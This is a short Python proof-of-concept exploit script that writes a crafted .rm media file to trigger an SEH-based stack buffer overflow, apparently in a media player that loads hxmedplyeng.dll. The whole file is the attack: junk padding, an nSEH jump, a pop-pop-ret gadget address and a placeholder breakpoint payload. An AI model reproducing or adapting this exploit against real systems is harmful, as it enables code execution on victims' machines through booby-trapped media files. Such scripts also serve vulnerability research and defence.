#!/usr/bin/env python
import struct

content = '[InternetShortcut]\nURL='
junk = 'A' * 2312
# x86 jmp 0x06 + NOPs
nseh = struct.pack('<L', 0x909006EB)
# pop ecx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [hxmedplyeng.dll]
sehhandler = struct.pack('<L', 0x63c48035)
payload = struct.pack('<L', 0xCCCCCCCC)
pad = 'B' * 5000  # trigger exception by overflowing stack region

xpl = content + junk + nseh + sehhandler + payload + pad

with open('xpl-5.rm', 'wb') as fd:
    fd.write(xpl)
